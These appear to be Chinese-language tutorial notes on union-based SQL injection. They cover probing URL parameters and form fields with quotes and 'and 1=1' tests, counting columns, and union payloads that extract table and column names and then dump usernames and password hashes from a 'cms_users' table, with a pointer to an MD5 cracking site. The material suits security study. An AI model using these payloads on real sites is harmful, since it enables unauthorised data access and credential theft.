http://www.xxx.com/**.asp?table=xx
http://www.xxx.com/**.php?id=xx
http://www.xxx.com/**.aspx?id=xx
http://www.xxx.com/**.jsp?id=xx
在URL后加入单引号查看是否存在注入漏洞
报错则说明存在注入漏洞
文本框
单选按钮
复选框
文件浏览框
提交按钮
在文本框输入的内容后加入单引号查看是否存在注入漏洞
报错则说明存在注入漏洞
在URL后加入 and 1=1 能正常返回数据
在URL后加入 and 1=2 查询不到数据
在URL后加入 'and 1=1–+ 能正常返回数据
在URL后加入 'and 1=2# 查询不到数据
有数据返回则改变字段数大于3
报错则改变字段数小于3
未报错:
报错:
SELECT * FROM article WHERE id=33 and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15
uinon语句特点:
要求多条查询语句的查询列数是一致的
要求多条查询语句的查询的每一列的类型和顺序最好一致
如果union语句中有语句出错,则执行后面的语句
union关键字默认去重,如果使用union all可以包含重复项
在URL后加:
1=2 union select 1,2,3,4,5,6,7,8,9,10,database(),12,13,14,15
在URL后面加 and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,group_concat(table_name),15 from information_schema.tables where table_schema=database()
select group_concat(table_name) from information_schema.tables where table_schema=database()
或者
select group_concat(table_name) from information_schema.tables where table_schema='cms'
可能后端会对引号进行过滤,所以不可取
group_concat()是将分组括号里对应的字符串进行连接,如果分组括号里的参数有多行,那么就会将这多行字符串连接,每个字符串之间会有特定的符号进行分隔
在URL后加 and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,group_concat(column_name),15 from information_schema.columns where table_name='cms_users'
在URL后加 and 1=2 union select 1,2,username,4,5,6,7,8,9,10,11,12,13,password,15 from cms_users
MD5加解密网站:https://cmd5.org/
正常情况下,用户名和密码只会显示数据表中的第一数据
在URL后加 and 1=2 union select 1,2,group_concat(username),4,5,6,7,8,9,10,11,12,13,group_concat(password),15 from cms_users
在URL后加 and 1=2 union select 1,2,username,4,5,6,7,8,9,10,11,12,13,password,15 from cms_users limit 1,1